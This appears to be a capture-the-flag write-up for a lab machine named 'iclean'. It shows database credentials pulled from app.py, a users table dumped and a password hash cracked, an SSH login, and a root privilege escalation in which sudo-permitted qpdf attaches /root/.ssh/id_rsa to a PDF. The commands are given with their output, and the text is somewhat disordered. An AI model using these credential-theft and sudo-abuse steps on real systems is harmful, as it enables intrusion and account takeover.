We have discovered an interesting directory: /dashboard. This suggests that we might need to perform a web-based attack to gain access to this directory.
After gaining access to the system as www-data, we discovered a Python script (app.py) containing sensitive information such as database credentials:
secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))app.secret_key = secret_key# Database Configurationdb_config = { 'host': '127.0.0.1', 'user': 'iclean', 'password': 'pxCsmnGLckUb', 'database': 'capiclean'}
After successful authentication, you'll see the MySQL prompt:
www-data@iclean:/opt/app$ mysql -u iclean -p capicleanmysql -u iclean -p capicleanEnter password: pxCsmnGLckUbReading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -AWelcome to the MySQL monitor. Commands end with ; or \g.Your MySQL connection id is 3000Server version: 8.0.36-0ubuntu0.22.04.1 (Ubuntu)Copyright (c) 2000, 2024, Oracle and/or its affiliates.Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.mysql>
Using these credentials, we accessed the MySQL database and enumerated the tables:
mysql> SHOW TABLES;SHOW TABLES;+---------------------+| Tables_in_capiclean |+---------------------+| quote_requests || services || users |+---------------------+3 rows in set (0.01 sec)mysql>
This MySQL query retrieves all records from the users table, displaying the id, username & hashed passwords
mysql> SELECT * FROM users;SELECT * FROM users;+----+----------+------------------------------------------------------------------+----------------------------------+| id | username | password | role_id |+----+----------+------------------------------------------------------------------+----------------------------------+| 1 | admin | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 || 2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |+----+----------+------------------------------------------------------------------+----------------------------------+2 rows in set (0.00 sec)mysql>
The attempt to crack Consuela's password hash was successful, revealing the password as "simple and clean". With this password, we successfully logged in as Consuela via SSH:
|Hash|Type|Result||---|---|---||0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa <br>ee11cbb19052e40b07aac0ca060c23ee|sha256|simple and clean|
ssh consuela@10.129.71.9
After entering the password, we were able to access the system as Consuela:
ssh consuela@10.129.71.9The authenticity of host '10.129.71.9 (10.129.71.9)' can't be established.ED25519 key fingerprint is SHA256:3nZua2j9n72tMAHW1xkEyDq3bjYNNSBIszK1nbQMZfs.This host key is known by the following other names/addresses: ~/.ssh/known_hosts:1: [hashed name]Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '10.129.71.9' (ED25519) to the list of known hosts.consuela@10.129.71.9's password:Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)consuela@iclean:~$ whoamiconsuela
Obtained SSH private key for root user by exploiting qpdf vulnerability.
Authenticated as root using the obtained SSH private key.
Escalated privileges to root and accessed root directory, confirming successful compromise.
We then checked Consuela's sudo privileges using the sudo -l command:
consuela@iclean:~$ sudo -l[sudo] password for consuela:Matching Defaults entries for consuela on iclean: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser consuela may run the following commands on iclean: (ALL) /usr/bin/qpdf
Here are the steps outlined in the improved markdown writeup:
Generate PDF with SSH Private Key Attachment:
Run sudo /usr/bin/qpdf --empty /tmp/juicy.pdf --qdf --add-attachment /root/.ssh/id_rsa -- to generate a PDF file (juicy.pdf) with the SSH private key attached.
Consuela has sudo privileges to run /usr/bin/qpdf without providing a password. This could be an opportunity for privilege escalation.
While trying to get the right command, i came with this command successfully getting "id_rsa" for root.
The command sudo /usr/bin/qpdf --empty /tmp/lol.pdf --qdf --add-attachment /root/.ssh/id_rsa -- is attempting to exploit the qpdf utility to add an attachment to a PDF file in order to retrieve the id_rsa file, which is often the private SSH key for the root user. Let's break down the command:
sudo: This command is used to execute subsequent commands with superuser (root) privileges.
/usr/bin/qpdf: This is the path to the qpdf utility, a command-line program used to manipulate PDF files.
--empty /tmp/lol.pdf: This argument specifies that a new, empty PDF file named lol.pdf will be created in the /tmp directory.
--qdf: This argument specifies that the output PDF file should be in QDF (QDF is a format used by QPDF for representing PDF content).
--add-attachment /root/.ssh/id_rsa: This argument tells qpdf to add an attachment to the PDF file. The attachment being added is the id_rsa file located in the /root/.ssh/ directory.
--: This double hyphen (--) signifies the end of command-line options. Anything after this is interpreted as an argument rather than an option.
So, in summary, this command is creating a new PDF file in the /tmp directory and attaching the id_rsa file (private SSH key for the root user) to it using the qpdf utility. The exploitation relies on the assumption that qpdf is configured to run with elevated privileges via sudo, allowing it to access sensitive files such as the id_rsa file.
Use the SSH private key to authenticate as the root user on the target server with ssh -i id_rsa root@10.129.71.9
ssh -i id_rsa root@10.129.71.9
And we are root, get root flag.txt
ssh -i id_rsa root@10.129.71.9Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Sun Apr 7 02:29:20 PM UTC 2024Expanded Security Maintenance for Applications is not enabled.3 updates can be applied immediately.To see these additional updates run: apt list --upgradableEnable ESM Apps to receive additional future security updates.See https://ubuntu.com/esm or run: sudo pro statusFailed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settingsroot@iclean:~# whoamirootroot@iclean:~#
